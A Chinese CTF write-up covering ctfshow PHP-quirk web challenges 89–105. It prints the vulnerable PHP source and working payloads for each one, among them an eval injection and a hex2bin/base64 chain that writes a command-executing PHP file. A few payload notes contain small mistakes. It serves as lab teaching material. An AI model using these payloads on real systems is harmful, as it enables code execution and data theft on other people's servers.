PHP特性
WEB 89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
intval(mixed $value, int $base = 10): int-获取变量的整数值
base代表想要将获取的变量转换为什么进制,如果 base 是 0,通过检测 value 的格式来决定使用的进制
- preg_match为正则匹配,传入的参数不能为数字,但是下面的intval()函数返回的是变量的整数值,所以我们可以利用数组绕过
payload:?num[]=1
WEB 90
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
-
intval函数中的第二个参数为0,代表通过检测 输入值的格式来决定使用的进制;如0x代表16进制,0代表8进制,所以我们这题可以通过16进制或2进制绕过 -
并且在intval函数中如果传入的base参数为0,且获取的变量中存在字母的话遇到字母就停止 -
该题还可以利用php中的===的特性进行绕过,因为使用三个等于号传入的值的类型和数值都必须相同,如果我们传入的是浮点数如4476.0也不会匹配到4476,但intval函数会将4476.0转换为整型,所以也可以得到flag payload:
?num=0x117C //16进制
?num=010574 //8进制
?num=0x117C //2进制
?num=4476a // 等于4476,也可绕过
?num=4476.0 // 等于4476,因为返回的是整数值
WEB 100(优先级)
<?php
highlight_file(__FILE__);
include("ctfshow.php");
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
is_numeric(mixed $value): bool— 检测变量是否为数字或数字字符串;若变量是数字字符串或者数字则会返回true,否则返回false
- 该题的v0返回值必须是ture才能执行if语句,通过测试=的优先级大于and,用and连接的这个语句只需要有一个的返回值为true那整个语句就是true,所以我们考虑v1为数值,v2、v3为执行语句
- 但是用&&连接就必须三个返回值都是true,v0才是true
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
WEB 101(反射类)
<?php
highlight_file(__FILE__);
include("ctfshow.php");
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
这题相对上一题就过滤了很多符号,上题用的payload肯定不行,但是php世界上最强大的语言嘛,肯定集合了很多语言的有点,其中就有一个叫反射类的东西,通俗的来讲就是在php中通过这个反射类可以用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。但这是php5及以上才有的功能
payload:?v1=1&v2=echo new ReflectionClass&v3=;
但是这题有个坑,他跟上一个题目的flag差一位,可以写脚本,也可以手动,我太菜了,是手动测得,测了十几次
WEB 102(回调函数加伪协议)
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
知识点
substr($string, $start, $length ): string 返回字符串的子串
参数:
string:输入的字符串
start:
1.start 是非负数,返回的字符串将从 string 的 start 位置开始,从 0 开始计算
2.start 是负数,返回的字符串将从 string 结尾处向前数第 start 个字符开始
3.如果 string 的长度小于start,将返回 false
length:
1.正数的 length,返回的字符串将从 start 处开始最多包括 length 个字符
2.如果提供了负数的 length,那么 string 末尾处的 length 个字符将会被省略
3.如果没有提供 length,返回的子字符串将从 start 位置开始直到字符串结尾
call_user_func($callback,$parameter)
1.callback:将被调用的回调函数
2.parameter:0个或以上的参数,被传入回调函数
file_put_contents($filename, $data, $context)将一个字符串写入文件
1.filename:要被写入数据的文件名
2.data:要写入的数据。类型可以是string,array 或者是 stream 资源
思路
- 目前只知道一种预期解,首先通过阅读代码,v2从第三位开始的字符串子串传参给v1,而
file_put_contents($v3,$str) 这个语句应该就是得到flag的语句 - 所以v2就必须是纯数字,不然根本到不了if语句,这里我们就通过传入一个16进制的数,通过调用回调函数也就是
call_user_func($v1,$s) ,调用v1=hex2bin() 来将16进制的数值转化为2进制的字符串 - 随后v3通过一个伪协议,将我们执行的结果写入1.php中
步骤+payload
v2=005044383959474e6864434171594473;前面加两个0的原因是因为substr函数中第二个参数是2,所以字符串会从第三位开始读,所以要加两位。
然后通过post传入v1=hex2bin 将该16进制转成字符串PD89YGNhdCAqYDs,这串字符串通过base64解码后就是<?=`cat *`;然后v3=php:
通过file_put_contents($v3,$str)就可以将我们执行命令后的代码打印到1.php中
payload:?v2=005044383959474e6864434171594473&v3=php:
通过post传参
v1=hex2bin;随后访问1.php查看源码
WEB 103
? 该题和102题其实几乎一样,只是多了正则匹配,但是我们传入的字符串是经过base64加密的,到了伪协议才解密执行,所以这个正则没啥意义,payload也和上题一样
WEB 104(sha1比较)
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
知识点
sha1(string $string, bool $binary = false): string — 计算字符串的 sha1 散列值
1.string:输入字符串。
2.binary:如果可选的 binary 参数被设置为 true, 那么 sha1 摘要将以 20 字符长度的原始二进制格式返回, 否则返回值为 40 字符长度的十六进制数。
如果两个值相同那么他们的哈希值肯定也相同,其实直接v1=1,v2=1 即可,但看完菜鸡师傅的视频还知道了如果是数组就算他们的值不一样他们的哈希值也是一样的,比如:v1[]=1,v[]=2 ,这样也是可以的
payload:?v1=1 post:v2=1;?v1[]=1 post:v[]=2
WEB 105(变量覆盖)
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
知识点
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
foreach (iterable_expression as $value)
statement
foreach (iterable_expression as $key => $value)
statement
第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value。
第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。
思路
- 第一个if通过get方式传入的变量名如果等于error则不能绕过,所有我们只能用suces这个变量名
- 第二个if通过post的方式传入变量值,如果变量的值为flag则也无法绕过,那我们就先让suces=flag,然后将error=suces成功绕过第一个if和第二个if,得到flag
payload:?suces=flag post:error=suces
|